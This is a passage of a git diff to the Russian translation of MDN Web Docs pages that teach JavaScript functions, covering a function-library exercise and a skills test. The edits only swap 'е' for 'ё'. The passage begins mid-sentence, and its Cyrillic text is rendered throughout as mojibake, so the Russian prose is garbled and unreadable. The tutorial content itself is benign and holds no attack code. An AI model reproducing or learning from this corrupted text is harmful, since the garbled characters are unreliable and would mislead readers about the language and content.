ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>num</code> .</p>
+ <p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>onchange</code>Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ срабатываСт ΠΊΠΎΠ³Π΄Π° мСняСтся ΠΊΠΎΠ³Π΄Π° Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вводится Π² text input ΠΈ подтвСрТдаСтся (Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ tab). Когда анонимная функция срабатываСт, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π² inputΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ сохраняСтся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>num</code> .</p>
</li>
<li>
- <p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ условный тСст — Ссли Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся числом, ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ сообщСниС ΠΎΠ± ошибкС . ВСст смотрит Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π»ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>isNaN(num)</code>Β  true. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ num Π½Π΅ число — Ссли Ρ‚Π°ΠΊ Ρ‚ΠΎ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚<code>true</code>, Ссли Π½Π΅Ρ‚-Β <code>false</code>.</p>
+ <p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ условный тСст — Ссли Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся числом, ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ сообщСниС ΠΎΠ± ошибкС . ВСст смотрит Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π»ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <code>isNaN(num)</code>Β  true. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ num Π½Π΅ число — Ссли Ρ‚Π°ΠΊ Ρ‚ΠΎ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚<code>true</code>, Ссли Π½Π΅Ρ‚-Β <code>false</code>.</p>
</li>
<li>
<p>Если тСст Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>false</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>num</code>число, ΠΈ поэтому ΠΌΡ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ сообщСниС внутри ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° ΠΎ значСниях ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°, ΠΊΡƒΠ±Π° ΠΈ Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ°Π»Π° числа. ΠŸΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>squared()</code>, <code>cubed()<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Β ΠΈ</span></font></code><code>factorial()</code>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹Π΅ значСния. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π’Π°Ρˆ ΠΊΠΎΠ΄, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ посмотритС Π½Π° Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ.</p>
@@ -135,7 +135,7 @@ function factorial(num) {
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:Β  Если Ρƒ вас ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΡΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ΄ с Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΉ вСрсиСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">finished version on GitHub</a> (ΠΈΠ»ΠΈΒ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">смотритС ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>), ΠΈΠ»ΠΈ спроситС нас.</p>
</div>
-<p>К этому ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ собствСнных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΈΡ… Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ. Как Π½Π° счСт ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ кубичСского корня числа ΠΈΠ»ΠΈ Π΄Π»ΠΈΠ½Ρ‹ окруТности ΠΊΡ€ΡƒΠ³Π° с Π΄Π»ΠΈΠ½ΠΎΠΉ радиуса Ρ€Π°Π²Π½ΠΎΠΉ числу <code>num</code>?</p>
+<p>К этому ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ собствСнных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΈΡ… Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ. Как Π½Π° счёт ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ кубичСского корня числа ΠΈΠ»ΠΈ Π΄Π»ΠΈΠ½Ρ‹ окруТности ΠΊΡ€ΡƒΠ³Π° с Π΄Π»ΠΈΠ½ΠΎΠΉ радиуса Ρ€Π°Π²Π½ΠΎΠΉ числу <code>num</code>?</p>
<p>Π­Ρ‚ΠΎ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ привнСсло ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ Π²Π°ΠΆΠ½Ρ‹Ρ… понятий Π² ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>return</code>Β . Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅:</p>
@@ -148,13 +148,13 @@ function factorial(num) {
<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ ΠΈΒ Π½Π΅ смотря на Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ± ΠΈΡ… синтаксисС ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ Π΄ΠΎΠ»Π³ΠΎ, Ρƒ нас Π΅ΡΡ‚ΡŒ довольно понятныС ΡΡ‚Π°Ρ‚ΡŒΠΈ для дальнСйшСго обучСния.</p>
-<p>Если Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ поняли, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈΠ»ΠΈΒ <a href="/en-US/Learn#Contact_us">ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a> для получСния ΠΏΠΎΠΌΠΎΡ‰ΠΈ.</p>
+<p>Если Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ поняли, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈΠ»ΠΈΒ <a href="/en-US/Learn#Contact_us">ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a> для получСния ΠΏΠΎΠΌΠΎΡ‰ΠΈ.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ</a>Β β€” ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ руководство, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с функциями.</li>
- <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Β JavaScript</a> β€” распространСнный ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ JavaScript для пСрСдачи Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ вызываСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</li>
+ <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Β JavaScript</a> β€” распространённый ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ JavaScript для пСрСдачи Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ вызываСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</li>
</ul>
<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p>
diff --git a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html
index 8bfb571bcb..d956d7bbc3 100644
--- a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html
+++ b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html
@@ -24,9 +24,9 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'
<h2 id="Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_структурой_DOM_рСкомСндуСтся">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ структурой DOM: рСкомСндуСтся</h2>
-<p>НСкоторыС ΠΈΠ· вопросов, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ написания ΠΊΠΎΠ΄Π° для управлСния структурой <a href="/en-US/docs/Glossary/DOM">DOM</a> для ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданиС Π½ΠΎΠ²Ρ‹Ρ… HTML-элСмСнтов, установка ΠΈΡ… тСкстового содСрТимого Π² соотвСтствиС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ значСниями строк, ΠΈ Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ… Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… элСмСнтов Π½Π° страницС - ΠΈ всС это с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript.</p>
+<p>НСкоторыС ΠΈΠ· вопросов, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ написания ΠΊΠΎΠ΄Π° для управлСния структурой <a href="/en-US/docs/Glossary/DOM">DOM</a> для ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданиС Π½ΠΎΠ²Ρ‹Ρ… HTML-элСмСнтов, установка ΠΈΡ… тСкстового содСрТимого Π² соотвСтствиС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ значСниями строк, ΠΈ Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ… Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… элСмСнтов Π½Π° страницС - ΠΈ всС это с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript.</p>
-<p>ΠœΡ‹ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠ±ΡƒΡ‡Π°Π»ΠΈ этому прямо Π² курсС, Π½ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄Π°Π½Π½ΡƒΡŽ структуру, ΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ исслСдования Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ DOM API Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° эти вопросы. Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌ Π½Π°Ρ‡Π°Π»ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ нашС ΡƒΡ‡Π΅Π±Π½ΠΎΠ΅ пособиС <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ</a>.</p>
+<p>ΠœΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠ±ΡƒΡ‡Π°Π»ΠΈ этому прямо Π² курсС, Π½ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄Π°Π½Π½ΡƒΡŽ структуру, ΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ исслСдования Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ DOM API Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° эти вопросы. Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌ Π½Π°Ρ‡Π°Π»ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ нашС ΡƒΡ‡Π΅Π±Π½ΠΎΠ΅ пособиС <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ</a>.</p>
<h2 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_1">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ 1</h2>
@@ -64,7 +64,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'
<h2 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_3">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ 3</h2>
-<p>Π’ этой Π·Π°Π΄Π°Ρ‡Π΅ Π²Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Π΅ΡΡŒ ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, поставлСнной Π² Π—Π°Π΄Π°Ρ‡Π΅ 1, с Ρ†Π΅Π»ΡŒΡŽ Π΅Π΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ сдСлали Ρ‚Ρ€ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ:</p>
+<p>Π’ этой Π·Π°Π΄Π°Ρ‡Π΅ Π²Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Π΅ΡΡŒ ΠΊ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, поставлСнной Π² Π—Π°Π΄Π°Ρ‡Π΅ 1, с Ρ†Π΅Π»ΡŒΡŽ Π΅Ρ‘ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ сдСлали Ρ‚Ρ€ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ:</p>
<ol>
<li>Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Ρ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ½Π³ (Ρ€Π΅ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡŽ) ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ случайного числа Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>random()</code>, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π΄Π²Π΅ ΠΎΠ±Ρ‰ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ случайноС число ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.</li>
@@ -87,7 +87,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions'
<p>Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π°ΡˆΡƒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ, ΠΈΠ»ΠΈ Ρƒ вас ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΠΈ:</p>
<ol>
- <li>ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ свой ΠΊΠΎΠ΄ Π² ΠΎΠ½Π»Π°ΠΉΠ½-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> ΠΈΠ»ΠΈ <a href="https://glitch.com/">Glitch</a> с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ совмСстного использования. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ с исходным ΠΊΠΎΠ΄ΠΎΠΌ, ссылки Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ….</li>
+ <li>ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ свой ΠΊΠΎΠ΄ Π² ΠΎΠ½Π»Π°ΠΉΠ½-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> ΠΈΠ»ΠΈ <a href="https://glitch.com/">Glitch</a> с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ совмСстного использования. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ с исходным ΠΊΠΎΠ΄ΠΎΠΌ, ссылки Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ….</li>
